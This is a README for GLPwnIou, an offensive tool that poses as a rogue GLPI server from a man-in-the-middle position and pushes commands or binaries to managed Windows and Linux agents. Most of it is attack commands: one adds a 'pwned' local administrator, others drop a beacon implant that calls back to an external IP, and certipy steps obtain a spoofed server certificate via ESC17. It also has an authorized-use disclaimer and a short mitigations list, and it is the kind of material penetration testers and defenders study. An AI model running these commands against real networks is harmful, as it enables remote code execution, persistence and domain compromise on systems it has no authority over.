GLPwnIou

Rogue Man-in-The-Middle GLPI server used to obtain RCE on managed devices. This tool takes advantage of the glpiinventory_deploy feature, which enables a GLPI server to push updates (binaries and/or commands) to a managed Linux or windows host.

Prerequisites :

• A Man-In-the-Middle position. Examples of ways include :
  • using MitM6 if IPv6 is enabled
  • editing a DNS entry in the domain
  • ARP spoofing (bettercap, ettercap) on a flat L2 segment.
• One of the following:
  • The agent uses HTTP to reach the server
  • The agent uses HTTPS to reach the server, but the certificate SSL check is disabled
  • The agent uses HTTPS, but the attacker can get a Server Authentication certificate for the server (usually through ESC17, alhough one could hypothetically be found in a public share)

Install

Authorized use only. GLPwnIou is intended for security research and penetration testing engagements you are explicitly authorized to perform.

The recommended way to install GLPwnIou is with pipx, which installs it into an isolated environment and exposes the glpwniou command globally:

pipx install GLPwnIou

Or with pip (ideally inside a virtual environment):

pip install GLPwnIou

Once installed, run it via the glpwniou entry point:

From source

git clone https://github.com/FenriskSecurity/glpwniou
cd GLPwnIou
pipx install .          # or: pip install .

GLPwnIou has no third-party dependencies and requires Python 3.8+.

Usage examples

Various payloads methods

Harmless default : Will only create a file in C:\Windows\Temp with the output of whoami

glpwniou --advertise https://glpi.acme.local/deploy ...

Command execution : Will run the specified powershell command

glpwniou --advertise https://glpi.acme.local/deploy ... \
  --cmd 'cmd.exe /c net user pwned P@ssw0rd! /add & net localgroup administrators pwned /add'

Run a binary on the target : Will execute the binary as is unless you provide the run-command parameter. You can optionally provide an executable name to be used when dropped on target (make sure to use this name when using custom commands)

# Execute the binary as is
glpwniou --advertise https://glpi.acme.local/deploy ... \
  --payload-file ./beacon.exe
# Execute the renammed binary
glpwniou --advertise https://glpi.acme.local/deploy ... \
  --payload-file ./beacon.exe --run-name updater.exe
# Execute the binary with a custom call
glpwniou --advertise https://glpi.acme.local/deploy ... \
  --payload-file ./beacon.exe \
  --run-command "./beacon.exe -ip 13.37.13.37 -port 9000"

Note that cmd and payload-file are mutually exclusive. The advertise flag does not have to match exactly the serverURL, however it will be the path at wich the agent will request the binaries and the server will serve them, so sticking as close as possible to the configured value may help regarding monitoring of suspicious activity.

Agents configured to only use HTTP

glpwniou --advertise https://glpi.acme.local/deploy --port 80

Agents configured to use HTTPS without SSL checks

glpwniou --advertise https://glpi.acme.local/deploy --port 443 --tls

• This will generate a self-signed cert for CN=glpi.acme.local
• Make sure to use the right FQDN in the advertise URL else the agent will return a Peer certificate not verified

Agents configure to properly use HTTPS, but you have found a valid certificate for the target server

This focuses on the ESC17 way, but you may find one in an SMB share or in another way

# look for ESC17-vulnerable teplates
certipy find -u "user@acme.local" -p "password" -dc-ip ... -stdout
certipy req -dc-ip ... -u "user@acme.local" -p "password" -target glpi.acme.local -ca '...' \
  -template ESC17 -dns glpi.acme.local -out glpi
openssl pkcs12 -in glpi.pfx -out glpi.pem -nodes -passin pass:

Agent version support

• Agent 1.7.x (latest version with auto-enabled deploy)
• Agent 1.17.x
• Agent 1.18.x
• Agent 1.19.x (latest version)

Screenshots

Coming Soon 😁

Improvements

• More Agent versions support
• Support for multi-OS concurrent poisoning (send a payload/cmd to Windows and another payload/cmd to Linux)
• Integrated ARP spoofing support like wsuks does

Mitigations

• Setup your agents to use HTTPS and check the certificate rather than use HTTP or blindly trust any certificate.
• Regarding ESC17, please check out the certipy wiki for mitigation recommendations. This is no GLPI vulnerability, the issue lies in the trust chain (a misconfiguration in the ADCS)
• Disable the Deploy task where it isn't needed
• Protect against/monitor MitM vectors (disable IPv6 if not used, alert on DNS changes/ARP flooding)

Acknowledgements and previous works

• https://github.com/NeffIsBack/wsuks from @al3x_n3ff for the inspiration
• https://labs.itresit.es/2026/02/25/glpi-agent-the-no-cve-that-still-bought-us-domain-compromise/ from javier_at_labs that happened to concurrently publish an article on the same topic as the one we were researching
• https://mustafanafizdurukan.github.io/posts/esc17-wsus-dns-abuse/ from mustafandurukan showcasing the DNS poisoning rather than classical Man in The Middle attack
• https://help.glpi-project.org/tutorials/inventory/secure_agent : The GLPI official documentation